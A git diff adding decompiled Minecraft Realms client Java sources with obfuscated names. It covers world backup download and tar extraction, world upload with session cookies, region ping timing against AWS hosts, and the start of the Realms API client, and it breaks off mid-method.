+ } + else + { + RealmsNarratorHelper.func_239550_a_(I18n.format("narrator.select", realmsserver.field_230584_c_)); + } + } + } + + public void func_231401_a_(int p_231401_1_, int p_231401_2_, double p_231401_3_, double p_231401_5_, int p_231401_7_) + { + if (this.field_241824_o_) + { + if (p_231401_2_ == 0) + { + RealmsMainScreen.this.field_224035_x = true; + return; + } + + --p_231401_2_; + } + + if (p_231401_2_ < RealmsMainScreen.this.field_224028_q.size()) + { + RealmsServer realmsserver = RealmsMainScreen.this.field_224028_q.get(p_231401_2_); + + if (realmsserver != null) + { + if (realmsserver.field_230586_e_ == RealmsServer.Status.UNINITIALIZED) + { + RealmsMainScreen.this.field_224021_j = -1L; + Minecraft.getInstance().displayGuiScreen(new RealmsCreateRealmScreen(realmsserver, RealmsMainScreen.this)); + } + else + { + RealmsMainScreen.this.field_224021_j = realmsserver.field_230582_a_; + } + + if (RealmsMainScreen.this.field_237539_ap_ == RealmsMainScreen.ServerState.CONFIGURE) + { + RealmsMainScreen.this.field_224021_j = realmsserver.field_230582_a_; + RealmsMainScreen.this.func_223966_f(realmsserver); + } + else if (RealmsMainScreen.this.field_237539_ap_ == RealmsMainScreen.ServerState.LEAVE) + { + RealmsMainScreen.this.field_224021_j = realmsserver.field_230582_a_; + RealmsMainScreen.this.func_223906_g(realmsserver); + } + else if (RealmsMainScreen.this.field_237539_ap_ == RealmsMainScreen.ServerState.EXPIRED) + { + RealmsMainScreen.this.func_223930_q(); + } + } + } + } + + public int getMaxPosition() + { + return this.getItemCount() * 36; + } + + public int getRowWidth() + { + return 300; + } + } + + static enum ServerState + { + NONE, + EXPIRED, + LEAVE, + CONFIGURE; + } + + class TrialServerEntry extends RealmsMainScreen.ListEntry + { + private TrialServerEntry() + { + } + + public void render(MatrixStack p_230432_1_, int p_230432_2_, int p_230432_3_, int p_230432_4_, int p_230432_5_, int p_230432_6_, int p_230432_7_, int p_230432_8_, boolean p_230432_9_, float p_230432_10_) + { + this.func_237681_a_(p_230432_1_, p_230432_2_, p_230432_4_, p_230432_3_, p_230432_7_, p_230432_8_); + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + RealmsMainScreen.this.field_224035_x = true; + return true; + } + + private void func_237681_a_(MatrixStack p_237681_1_, int p_237681_2_, int p_237681_3_, int p_237681_4_, int p_237681_5_, int p_237681_6_) + { + int i = p_237681_4_ + 8; + int j = 0; + boolean flag = false; + + if (p_237681_3_ <= p_237681_5_ && p_237681_5_ <= (int)RealmsMainScreen.this.field_224020_i.getScrollAmount() && p_237681_4_ <= p_237681_6_ && p_237681_6_ <= p_237681_4_ + 32) + { + flag = true; + } + + int k = 8388479; + + if (flag && !RealmsMainScreen.this.func_223990_b()) + { + k = 6077788; + } + + for (ITextComponent itextcomponent : RealmsMainScreen.field_243002_G) + { + AbstractGui.drawCenteredString(p_237681_1_, RealmsMainScreen.this.font, itextcomponent, RealmsMainScreen.this.width / 2, i + j, k); + j += 10; + } + } + } +} diff --git a/src/com/mojang/realmsclient/client/FileDownload.java b/src/com/mojang/realmsclient/client/FileDownload.java new file mode 100644 index 00000000..0c835a7d --- /dev/null +++ b/src/com/mojang/realmsclient/client/FileDownload.java @@ -0,0 +1,501 @@ +package com.mojang.realmsclient.client; + +import com.google.common.hash.Hashing; +import com.google.common.io.Files; +import com.mojang.realmsclient.dto.WorldDownload; +import com.mojang.realmsclient.exception.RealmsDefaultUncaughtExceptionHandler; +import com.mojang.realmsclient.gui.screens.RealmsDownloadLatestWorldScreen; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.io.BufferedInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.nio.file.Path; +import java.util.Locale; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import net.minecraft.client.Minecraft; +import net.minecraft.nbt.CompoundNBT; +import net.minecraft.nbt.CompressedStreamTools; +import net.minecraft.util.SharedConstants; +import net.minecraft.world.storage.FolderName; +import net.minecraft.world.storage.SaveFormat; +import net.minecraft.world.storage.WorldSummary; +import org.apache.commons.compress.archivers.tar.TarArchiveEntry; +import org.apache.commons.compress.archivers.tar.TarArchiveInputStream; +import org.apache.commons.compress.compressors.gzip.GzipCompressorInputStream; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.IOUtils; +import org.apache.commons.io.output.CountingOutputStream; +import org.apache.commons.lang3.StringUtils; +import org.apache.http.HttpResponse; +import org.apache.http.client.config.RequestConfig; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class FileDownload +{ + private static final Logger LOGGER = LogManager.getLogger(); + private volatile boolean field_224844_b; + private volatile boolean field_224845_c; + private volatile boolean field_224846_d; + private volatile boolean field_224847_e; + private volatile File field_224848_f; + private volatile File field_224849_g; + private volatile HttpGet field_224850_h; + private Thread field_224851_i; + private final RequestConfig field_224852_j = RequestConfig.custom().setSocketTimeout(120000).setConnectTimeout(120000).build(); + private static final String[] field_224853_k = new String[] {"CON", "COM", "PRN", "AUX", "CLOCK$", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9"}; + + public long func_224827_a(String p_224827_1_) + { + CloseableHttpClient closeablehttpclient = null; + HttpGet httpget = null; + long i; + + try + { + httpget = new HttpGet(p_224827_1_); + closeablehttpclient = HttpClientBuilder.create().setDefaultRequestConfig(this.field_224852_j).build(); + CloseableHttpResponse closeablehttpresponse = closeablehttpclient.execute(httpget); + return Long.parseLong(closeablehttpresponse.getFirstHeader("Content-Length").getValue()); + } + catch (Throwable throwable) + { + LOGGER.error("Unable to get content length for download"); + i = 0L; + } + finally + { + if (httpget != null) + { + httpget.releaseConnection(); + } + + if (closeablehttpclient != null) + { + try + { + closeablehttpclient.close(); + } + catch (IOException ioexception) + { + LOGGER.error("Could not close http client", (Throwable)ioexception); + } + } + } + + return i; + } + + public void func_237688_a_(WorldDownload p_237688_1_, String p_237688_2_, RealmsDownloadLatestWorldScreen.DownloadStatus p_237688_3_, SaveFormat p_237688_4_) + { + if (this.field_224851_i == null) + { + this.field_224851_i = new Thread(() -> + { + CloseableHttpClient closeablehttpclient = null; + + try { + this.field_224848_f = File.createTempFile("backup", ".tar.gz"); + this.field_224850_h = new HttpGet(p_237688_1_.field_230643_a_); + closeablehttpclient = HttpClientBuilder.create().setDefaultRequestConfig(this.field_224852_j).build(); + HttpResponse httpresponse = closeablehttpclient.execute(this.field_224850_h); + p_237688_3_.field_225140_b = Long.parseLong(httpresponse.getFirstHeader("Content-Length").getValue()); + + if (httpresponse.getStatusLine().getStatusCode() == 200) + { + OutputStream outputstream = new FileOutputStream(this.field_224848_f); + FileDownload.ProgressListener filedownload$progresslistener = new FileDownload.ProgressListener(p_237688_2_.trim(), this.field_224848_f, p_237688_4_, p_237688_3_); + FileDownload.DownloadCountingOutputStream filedownload$downloadcountingoutputstream = new FileDownload.DownloadCountingOutputStream(outputstream); + filedownload$downloadcountingoutputstream.func_224804_a(filedownload$progresslistener); + IOUtils.copy(httpresponse.getEntity().getContent(), filedownload$downloadcountingoutputstream); + return; + } + + this.field_224846_d = true; + this.field_224850_h.abort(); + } + catch (Exception exception1) + { + LOGGER.error("Caught exception while downloading: " + exception1.getMessage()); + this.field_224846_d = true; + return; + } + finally { + this.field_224850_h.releaseConnection(); + + if (this.field_224848_f != null) + { + this.field_224848_f.delete(); + } + + if (!this.field_224846_d) + { + if (!p_237688_1_.field_230644_b_.isEmpty() && !p_237688_1_.field_230645_c_.isEmpty()) + { + try + { + this.field_224848_f = File.createTempFile("resources", ".tar.gz"); + this.field_224850_h = new HttpGet(p_237688_1_.field_230644_b_); + HttpResponse httpresponse1 = closeablehttpclient.execute(this.field_224850_h); + p_237688_3_.field_225140_b = Long.parseLong(httpresponse1.getFirstHeader("Content-Length").getValue()); + + if (httpresponse1.getStatusLine().getStatusCode() != 200) + { + this.field_224846_d = true; + this.field_224850_h.abort(); + return; + } + + OutputStream outputstream1 = new FileOutputStream(this.field_224848_f); + FileDownload.ResourcePackProgressListener filedownload$resourcepackprogresslistener = new FileDownload.ResourcePackProgressListener(this.field_224848_f, p_237688_3_, p_237688_1_); + FileDownload.DownloadCountingOutputStream filedownload$downloadcountingoutputstream1 = new FileDownload.DownloadCountingOutputStream(outputstream1); + filedownload$downloadcountingoutputstream1.func_224804_a(filedownload$resourcepackprogresslistener); + IOUtils.copy(httpresponse1.getEntity().getContent(), filedownload$downloadcountingoutputstream1); + } + catch (Exception exception) + { + LOGGER.error("Caught exception while downloading: " + exception.getMessage()); + this.field_224846_d = true; + } + finally + { + this.field_224850_h.releaseConnection(); + + if (this.field_224848_f != null) + { + this.field_224848_f.delete(); + } + } + } + else + { + this.field_224845_c = true; + } + } + + if (closeablehttpclient != null) + { + try + { + closeablehttpclient.close(); + } + catch (IOException ioexception) + { + LOGGER.error("Failed to close Realms download client"); + } + } + } + }); + this.field_224851_i.setUncaughtExceptionHandler(new RealmsDefaultUncaughtExceptionHandler(LOGGER)); + this.field_224851_i.start(); + } + } + + public void func_224834_a() + { + if (this.field_224850_h != null) + { + this.field_224850_h.abort(); + } + + if (this.field_224848_f != null) + { + this.field_224848_f.delete(); + } + + this.field_224844_b = true; + } + + public boolean func_224835_b() + { + return this.field_224845_c; + } + + public boolean func_224836_c() + { + return this.field_224846_d; + } + + public boolean func_224837_d() + { + return this.field_224847_e; + } + + public static String func_224828_b(String p_224828_0_) + { + p_224828_0_ = p_224828_0_.replaceAll("[\\./\"]", "_"); + + for (String s : field_224853_k) + { + if (p_224828_0_.equalsIgnoreCase(s)) + { + p_224828_0_ = "_" + p_224828_0_ + "_"; + } + } + + return p_224828_0_; + } + + private void func_237690_a_(String p_237690_1_, File p_237690_2_, SaveFormat p_237690_3_) throws IOException + { + Pattern pattern = Pattern.compile(".*-([0-9]+)$"); + int i = 1; + + for (char c0 : SharedConstants.ILLEGAL_FILE_CHARACTERS) + { + p_237690_1_ = p_237690_1_.replace(c0, '_'); + } + + if (StringUtils.isEmpty(p_237690_1_)) + { + p_237690_1_ = "Realm"; + } + + p_237690_1_ = func_224828_b(p_237690_1_); + + try + { + for (WorldSummary worldsummary : p_237690_3_.getSaveList()) + { + if (worldsummary.getFileName().toLowerCase(Locale.ROOT).startsWith(p_237690_1_.toLowerCase(Locale.ROOT))) + { + Matcher matcher = pattern.matcher(worldsummary.getFileName()); + + if (matcher.matches()) + { + if (Integer.valueOf(matcher.group(1)) > i) + { + i = Integer.valueOf(matcher.group(1)); + } + } + else + { + ++i; + } + } + } + } + catch (Exception exception1) + { + LOGGER.error("Error getting level list", (Throwable)exception1); + this.field_224846_d = true; + return; + } + + String s; + + if (p_237690_3_.isNewLevelIdAcceptable(p_237690_1_) && i <= 1) + { + s = p_237690_1_; + } + else + { + s = p_237690_1_ + (i == 1 ? "" : "-" + i); + + if (!p_237690_3_.isNewLevelIdAcceptable(s)) + { + boolean flag = false; + + while (!flag) + { + ++i; + s = p_237690_1_ + (i == 1 ? "" : "-" + i); + + if (p_237690_3_.isNewLevelIdAcceptable(s)) + { + flag = true; + } + } + } + } + + TarArchiveInputStream tararchiveinputstream = null; + File file1 = new File(Minecraft.getInstance().gameDir.getAbsolutePath(), "saves"); + + try + { + file1.mkdir(); + tararchiveinputstream = new TarArchiveInputStream(new GzipCompressorInputStream(new BufferedInputStream(new FileInputStream(p_237690_2_)))); + + for (TarArchiveEntry tararchiveentry = tararchiveinputstream.getNextTarEntry(); tararchiveentry != null; tararchiveentry = tararchiveinputstream.getNextTarEntry()) + { + File file2 = new File(file1, tararchiveentry.getName().replace("world", s)); + + if (tararchiveentry.isDirectory()) + { + file2.mkdirs(); + } + else + { + file2.createNewFile(); + + try (FileOutputStream fileoutputstream = new FileOutputStream(file2)) + { + IOUtils.copy(tararchiveinputstream, fileoutputstream); + } + } + } + } + catch (Exception exception) + { + LOGGER.error("Error extracting world", (Throwable)exception); + this.field_224846_d = true; + } + finally + { + if (tararchiveinputstream != null) + { + tararchiveinputstream.close(); + } + + if (p_237690_2_ != null) + { + p_237690_2_.delete(); + } + + try (SaveFormat.LevelSave saveformat$levelsave = p_237690_3_.getLevelSave(s)) + { + saveformat$levelsave.updateSaveName(s.trim()); + Path path = saveformat$levelsave.resolveFilePath(FolderName.LEVEL_DAT); + func_237689_a_(path.toFile()); + } + catch (IOException ioexception) + { + LOGGER.error("Failed to rename unpacked realms level {}", s, ioexception); + } + + this.field_224849_g = new File(file1, s + File.separator + "resources.zip"); + } + } + + private static void func_237689_a_(File p_237689_0_) + { + if (p_237689_0_.exists()) + { + try + { + CompoundNBT compoundnbt = CompressedStreamTools.readCompressed(p_237689_0_); + CompoundNBT compoundnbt1 = compoundnbt.getCompound("Data"); + compoundnbt1.remove("Player"); + CompressedStreamTools.writeCompressed(compoundnbt, p_237689_0_); + } + catch (Exception exception) + { + exception.printStackTrace(); + } + } + } + + class DownloadCountingOutputStream extends CountingOutputStream + { + private ActionListener field_224806_b; + + public DownloadCountingOutputStream(OutputStream p_i51649_2_) + { + super(p_i51649_2_); + } + + public void func_224804_a(ActionListener p_224804_1_) + { + this.field_224806_b = p_224804_1_; + } + + protected void afterWrite(int p_afterWrite_1_) throws IOException + { + super.afterWrite(p_afterWrite_1_); + + if (this.field_224806_b != null) + { + this.field_224806_b.actionPerformed(new ActionEvent(this, 0, (String)null)); + } + } + } + + class ProgressListener implements ActionListener + { + private final String field_224813_b; + private final File field_224814_c; + private final SaveFormat field_224815_d; + private final RealmsDownloadLatestWorldScreen.DownloadStatus field_224816_e; + + private ProgressListener(String p_i232192_2_, File p_i232192_3_, SaveFormat p_i232192_4_, RealmsDownloadLatestWorldScreen.DownloadStatus p_i232192_5_) + { + this.field_224813_b = p_i232192_2_; + this.field_224814_c = p_i232192_3_; + this.field_224815_d = p_i232192_4_; + this.field_224816_e = p_i232192_5_; + } + + public void actionPerformed(ActionEvent p_actionPerformed_1_) + { + this.field_224816_e.field_225139_a = ((FileDownload.DownloadCountingOutputStream)p_actionPerformed_1_.getSource()).getByteCount(); + + if (this.field_224816_e.field_225139_a >= this.field_224816_e.field_225140_b && !FileDownload.this.field_224844_b && !FileDownload.this.field_224846_d) + { + try + { + FileDownload.this.field_224847_e = true; + FileDownload.this.func_237690_a_(this.field_224813_b, this.field_224814_c, this.field_224815_d); + } + catch (IOException ioexception) + { + FileDownload.LOGGER.error("Error extracting archive", (Throwable)ioexception); + FileDownload.this.field_224846_d = true; + } + } + } + } + + class ResourcePackProgressListener implements ActionListener + { + private final File field_224819_b; + private final RealmsDownloadLatestWorldScreen.DownloadStatus field_224820_c; + private final WorldDownload field_224821_d; + + private ResourcePackProgressListener(File p_i51645_2_, RealmsDownloadLatestWorldScreen.DownloadStatus p_i51645_3_, WorldDownload p_i51645_4_) + { + this.field_224819_b = p_i51645_2_; + this.field_224820_c = p_i51645_3_; + this.field_224821_d = p_i51645_4_; + } + + public void actionPerformed(ActionEvent p_actionPerformed_1_) + { + this.field_224820_c.field_225139_a = ((FileDownload.DownloadCountingOutputStream)p_actionPerformed_1_.getSource()).getByteCount(); + + if (this.field_224820_c.field_225139_a >= this.field_224820_c.field_225140_b && !FileDownload.this.field_224844_b) + { + try + { + String s = Hashing.sha1().hashBytes(Files.toByteArray(this.field_224819_b)).toString(); + + if (s.equals(this.field_224821_d.field_230645_c_)) + { + FileUtils.copyFile(this.field_224819_b, FileDownload.this.field_224849_g); + FileDownload.this.field_224845_c = true; + } + else + { + FileDownload.LOGGER.error("Resourcepack had wrong hash (expected " + this.field_224821_d.field_230645_c_ + ", found " + s + "). Deleting it."); + FileUtils.deleteQuietly(this.field_224819_b); + FileDownload.this.field_224846_d = true; + } + } + catch (IOException ioexception) + { + FileDownload.LOGGER.error("Error copying resourcepack file", (Object)ioexception.getMessage()); + FileDownload.this.field_224846_d = true; + } + } + } + } +} diff --git a/src/com/mojang/realmsclient/client/FileUpload.java b/src/com/mojang/realmsclient/client/FileUpload.java new file mode 100644 index 00000000..64823387 --- /dev/null +++ b/src/com/mojang/realmsclient/client/FileUpload.java @@ -0,0 +1,264 @@ +package com.mojang.realmsclient.client; + +import com.google.gson.JsonElement; +import com.google.gson.JsonParser; +import com.mojang.realmsclient.dto.UploadInfo; +import com.mojang.realmsclient.gui.screens.UploadResult; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.time.Duration; +import java.util.Optional; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.function.Consumer; +import net.minecraft.util.Session; +import org.apache.http.Header; +import org.apache.http.HttpResponse; +import org.apache.http.client.config.RequestConfig; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.entity.InputStreamEntity; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.util.Args; +import org.apache.http.util.EntityUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class FileUpload +{ + private static final Logger field_224883_a = LogManager.getLogger(); + private final File field_224884_b; + private final long field_224885_c; + private final int field_224886_d; + private final UploadInfo field_224887_e; + private final String field_224888_f; + private final String field_224889_g; + private final String field_224890_h; + private final UploadStatus field_224891_i; + private final AtomicBoolean field_224892_j = new AtomicBoolean(false); + private CompletableFuture field_224893_k; + private final RequestConfig field_224894_l = RequestConfig.custom().setSocketTimeout((int)TimeUnit.MINUTES.toMillis(10L)).setConnectTimeout((int)TimeUnit.SECONDS.toMillis(15L)).build(); + + public FileUpload(File p_i232194_1_, long p_i232194_2_, int p_i232194_4_, UploadInfo p_i232194_5_, Session p_i232194_6_, String p_i232194_7_, UploadStatus p_i232194_8_) + { + this.field_224884_b = p_i232194_1_; + this.field_224885_c = p_i232194_2_; + this.field_224886_d = p_i232194_4_; + this.field_224887_e = p_i232194_5_; + this.field_224888_f = p_i232194_6_.getSessionID(); + this.field_224889_g = p_i232194_6_.getUsername(); + this.field_224890_h = p_i232194_7_; + this.field_224891_i = p_i232194_8_; + } + + public void func_224874_a(Consumer p_224874_1_) + { + if (this.field_224893_k == null) + { + this.field_224893_k = CompletableFuture.supplyAsync(() -> + { + return this.func_224879_a(0); + }); + this.field_224893_k.thenAccept(p_224874_1_); + } + } + + public void func_224878_a() + { + this.field_224892_j.set(true); + + if (this.field_224893_k != null) + { + this.field_224893_k.cancel(false); + this.field_224893_k = null; + } + } + + private UploadResult func_224879_a(int p_224879_1_) + { + UploadResult.Builder uploadresult$builder = new UploadResult.Builder(); + + if (this.field_224892_j.get()) + { + return uploadresult$builder.func_225174_a(); + } + else + { + this.field_224891_i.field_224979_b = this.field_224884_b.length(); + HttpPost httppost = new HttpPost(this.field_224887_e.func_243089_b().resolve("/upload/" + this.field_224885_c + "/" + this.field_224886_d)); + CloseableHttpClient closeablehttpclient = HttpClientBuilder.create().setDefaultRequestConfig(this.field_224894_l).build(); + UploadResult uploadresult; + + try + { + this.func_224872_a(httppost); + HttpResponse httpresponse = closeablehttpclient.execute(httppost); + long i = this.func_224880_a(httpresponse); + + if (!this.func_224882_a(i, p_224879_1_)) + { + this.func_224875_a(httpresponse, uploadresult$builder); + return uploadresult$builder.func_225174_a(); + } + + uploadresult = this.func_224876_b(i, p_224879_1_); + } + catch (Exception exception) + { + if (!this.field_224892_j.get()) + { + field_224883_a.error("Caught exception while uploading: ", (Throwable)exception); + } + + return uploadresult$builder.func_225174_a(); + } + finally + { + this.func_224877_a(httppost, closeablehttpclient); + } + + return uploadresult; + } + } + + private void func_224877_a(HttpPost p_224877_1_, CloseableHttpClient p_224877_2_) + { + p_224877_1_.releaseConnection(); + + if (p_224877_2_ != null) + { + try + { + p_224877_2_.close(); + } + catch (IOException ioexception) + { + field_224883_a.error("Failed to close Realms upload client"); + } + } + } + + private void func_224872_a(HttpPost p_224872_1_) throws FileNotFoundException + { + p_224872_1_.setHeader("Cookie", "sid=" + this.field_224888_f + ";token=" + this.field_224887_e.func_230795_a_() + ";user=" + this.field_224889_g + ";version=" + this.field_224890_h); + FileUpload.CustomInputStreamEntity fileupload$custominputstreamentity = new FileUpload.CustomInputStreamEntity(new FileInputStream(this.field_224884_b), this.field_224884_b.length(), this.field_224891_i); + fileupload$custominputstreamentity.setContentType("application/octet-stream"); + p_224872_1_.setEntity(fileupload$custominputstreamentity); + } + + private void func_224875_a(HttpResponse p_224875_1_, UploadResult.Builder p_224875_2_) throws IOException + { + int i = p_224875_1_.getStatusLine().getStatusCode(); + + if (i == 401) + { + field_224883_a.debug("Realms server returned 401: " + p_224875_1_.getFirstHeader("WWW-Authenticate")); + } + + p_224875_2_.func_225175_a(i); + + if (p_224875_1_.getEntity() != null) + { + String s = EntityUtils.toString(p_224875_1_.getEntity(), "UTF-8"); + + if (s != null) + { + try + { + JsonParser jsonparser = new JsonParser(); + JsonElement jsonelement = jsonparser.parse(s).getAsJsonObject().get("errorMsg"); + Optional optional = Optional.ofNullable(jsonelement).map(JsonElement::getAsString); + p_224875_2_.func_225176_a(optional.orElse((String)null)); + } + catch (Exception exception) + { + } + } + } + } + + private boolean func_224882_a(long p_224882_1_, int p_224882_3_) + { + return p_224882_1_ > 0L && p_224882_3_ + 1 < 5; + } + + private UploadResult func_224876_b(long p_224876_1_, int p_224876_3_) throws InterruptedException + { + Thread.sleep(Duration.ofSeconds(p_224876_1_).toMillis()); + return this.func_224879_a(p_224876_3_ + 1); + } + + private long func_224880_a(HttpResponse p_224880_1_) + { + return Optional.ofNullable(p_224880_1_.getFirstHeader("Retry-After")).map(Header::getValue).map(Long::valueOf).orElse(0L); + } + + public boolean func_224881_b() + { + return this.field_224893_k.isDone() || this.field_224893_k.isCancelled(); + } + + static class CustomInputStreamEntity extends InputStreamEntity + { + private final long field_224869_a; + private final InputStream field_224870_b; + private final UploadStatus field_224871_c; + + public CustomInputStreamEntity(InputStream p_i51622_1_, long p_i51622_2_, UploadStatus p_i51622_4_) + { + super(p_i51622_1_); + this.field_224870_b = p_i51622_1_; + this.field_224869_a = p_i51622_2_; + this.field_224871_c = p_i51622_4_; + } + + public void writeTo(OutputStream p_writeTo_1_) throws IOException + { + Args.notNull(p_writeTo_1_, "Output stream"); + InputStream inputstream = this.field_224870_b; + + try + { + byte[] abyte = new byte[4096]; + int j; + + if (this.field_224869_a < 0L) + { + while ((j = inputstream.read(abyte)) != -1) + { + p_writeTo_1_.write(abyte, 0, j); + this.field_224871_c.field_224978_a += (long)j; + } + } + else + { + long i = this.field_224869_a; + + while (i > 0L) + { + j = inputstream.read(abyte, 0, (int)Math.min(4096L, i)); + + if (j == -1) + { + break; + } + + p_writeTo_1_.write(abyte, 0, j); + this.field_224871_c.field_224978_a += (long)j; + i -= (long)j; + p_writeTo_1_.flush(); + } + } + } + finally + { + inputstream.close(); + } + } + } +} diff --git a/src/com/mojang/realmsclient/client/Ping.java b/src/com/mojang/realmsclient/client/Ping.java new file mode 100644 index 00000000..db472318 --- /dev/null +++ b/src/com/mojang/realmsclient/client/Ping.java @@ -0,0 +1,105 @@ +package com.mojang.realmsclient.client; + +import com.google.common.collect.Lists; +import com.mojang.realmsclient.dto.RegionPingResult; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketAddress; +import java.util.Comparator; +import java.util.List; +import net.minecraft.util.Util; + +public class Ping +{ + public static List func_224867_a(Ping.Region... p_224867_0_) + { + for (Ping.Region ping$region : p_224867_0_) + { + func_224868_a(ping$region.field_224863_j); + } + + List list = Lists.newArrayList(); + + for (Ping.Region ping$region1 : p_224867_0_) + { + list.add(new RegionPingResult(ping$region1.field_224862_i, func_224868_a(ping$region1.field_224863_j))); + } + + list.sort(Comparator.comparingInt(RegionPingResult::func_230792_a_)); + return list; + } + + private static int func_224868_a(String p_224868_0_) + { + int i = 700; + long j = 0L; + Socket socket = null; + + for (int k = 0; k < 5; ++k) + { + try + { + SocketAddress socketaddress = new InetSocketAddress(p_224868_0_, 80); + socket = new Socket(); + long l = func_224865_b(); + socket.connect(socketaddress, 700); + j += func_224865_b() - l; + } + catch (Exception exception) + { + j += 700L; + } + finally + { + func_224866_a(socket); + } + } + + return (int)((double)j / 5.0D); + } + + private static void func_224866_a(Socket p_224866_0_) + { + try + { + if (p_224866_0_ != null) + { + p_224866_0_.close(); + } + } + catch (Throwable throwable) + { + } + } + + private static long func_224865_b() + { + return Util.milliTime(); + } + + public static List func_224864_a() + { + return func_224867_a(Ping.Region.values()); + } + + static enum Region + { + US_EAST_1("us-east-1", "ec2.us-east-1.amazonaws.com"), + US_WEST_2("us-west-2", "ec2.us-west-2.amazonaws.com"), + US_WEST_1("us-west-1", "ec2.us-west-1.amazonaws.com"), + EU_WEST_1("eu-west-1", "ec2.eu-west-1.amazonaws.com"), + AP_SOUTHEAST_1("ap-southeast-1", "ec2.ap-southeast-1.amazonaws.com"), + AP_SOUTHEAST_2("ap-southeast-2", "ec2.ap-southeast-2.amazonaws.com"), + AP_NORTHEAST_1("ap-northeast-1", "ec2.ap-northeast-1.amazonaws.com"), + SA_EAST_1("sa-east-1", "ec2.sa-east-1.amazonaws.com"); + + private final String field_224862_i; + private final String field_224863_j; + + private Region(String p_i51602_3_, String p_i51602_4_) + { + this.field_224862_i = p_i51602_3_; + this.field_224863_j = p_i51602_4_; + } + } +} diff --git a/src/com/mojang/realmsclient/client/RealmsClient.java b/src/com/mojang/realmsclient/client/RealmsClient.java new file mode 100644 index 00000000..c0a9f781 --- /dev/null +++ b/src/com/mojang/realmsclient/client/RealmsClient.java @@ -0,0 +1,459 @@ +package com.mojang.realmsclient.client; + +import com.mojang.realmsclient.dto.BackupList; +import com.mojang.realmsclient.dto.Ops; +import com.mojang.realmsclient.dto.PendingInvite; +import com.mojang.realmsclient.dto.PendingInvitesList; +import com.mojang.realmsclient.dto.PingResult; +import com.mojang.realmsclient.dto.PlayerInfo; +import com.mojang.realmsclient.dto.RealmsDescriptionDto; +import com.mojang.realmsclient.dto.RealmsNews; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.dto.RealmsServerAddress; +import com.mojang.realmsclient.dto.RealmsServerList; +import com.mojang.realmsclient.dto.RealmsServerPlayerLists; +import com.mojang.realmsclient.dto.RealmsWorldOptions; +import com.mojang.realmsclient.dto.RealmsWorldResetDto; +import com.mojang.realmsclient.dto.Subscription; +import com.mojang.realmsclient.dto.UploadInfo; +import com.mojang.realmsclient.dto.WorldDownload; +import com.mojang.realmsclient.dto.WorldTemplatePaginatedList; +import com.mojang.realmsclient.exception.RealmsHttpException; +import com.mojang.realmsclient.exception.RealmsServiceException; +import com.mojang.realmsclient.exception.RetryCallException; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.UUID; +import javax.annotation.Nullable; +import net.minecraft.client.Minecraft; +import net.minecraft.realms.PersistenceSerializer; +import net.minecraft.util.SharedConstants; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsClient +{ + public static RealmsClient.Environment field_224944_a = RealmsClient.Environment.PRODUCTION; + private static boolean field_224945_b; + private static final Logger field_224946_c = LogManager.getLogger(); + private final String field_224947_d; + private final String field_224948_e; + private final Minecraft field_244732_f; + private static final PersistenceSerializer field_237691_f_ = new PersistenceSerializer(); + + public static RealmsClient func_224911_a() + { + Minecraft minecraft = Minecraft.getInstance(); + String s = minecraft.getSession().getUsername(); + String s1 = minecraft.getSession().getSessionID(); + + if (!field_224945_b) + { + field_224945_b = true; + String s2 = System.getenv("realms.environment"); + + if (s2 == null) + { + s2 = System.getProperty("realms.environment"); + } + + if (s2 != null) + { + if ("LOCAL".equals(s2)) + { + func_224941_d(); + } + else if ("STAGE".equals(s2)) + { + func_224940_b(); + } + } + } + + return new RealmsClient(s1, s, minecraft); + } + + public static void func_224940_b() + { + field_224944_a = RealmsClient.Environment.STAGE; + } + + public static void func_224921_c() + { + field_224944_a = RealmsClient.Environment.PRODUCTION; + } + + public static void func_224941_d() + { + field_224944_a = RealmsClient.Environment.LOCAL; + } + + public RealmsClient(String p_i242122_1_, String p_i242122_2_, Minecraft p_i242122_3_) + { + this.field_224947_d = p_i242122_1_; + this.field_224948_e = p_i242122_2_; + this.field_244732_f = p_i242122_3_; + RealmsClientConfig.func_224896_a(p_i242122_3_.getProxy()); + } + + public RealmsServerList func_224902_e() throws RealmsServiceException + { + String s = this.func_224926_c("worlds"); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + return RealmsServerList.func_230783_a_(s1); + } + + public RealmsServer func_224935_a(long p_224935_1_) throws RealmsServiceException + { + String s = this.func_224926_c("worlds" + "/$ID".replace("$ID", String.valueOf(p_224935_1_))); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + return RealmsServer.func_230779_c_(s1); + } + + public RealmsServerPlayerLists func_224915_f() throws RealmsServiceException + { + String s = this.func_224926_c("activities/liveplayerlist"); + String s1 = this.func_224938_a(Request.func_224953_a(s)); + return RealmsServerPlayerLists.func_230786_a_(s1); + } + + public RealmsServerAddress func_224904_b(long p_224904_1_) throws RealmsServiceException + { + String s = this.func_224926_c("worlds" + "/v1/$ID/join/pc".replace("$ID", "" + p_224904_1_)); + String s1 = this.func_224938_a(Request.func_224960_a(s, 5000, 30000)); + return RealmsServerAddress.func_230782_a_(s1); + } + + public void func_224900_a(long p_224900_1_, String p_224900_3_, String p_224900_4_) throws 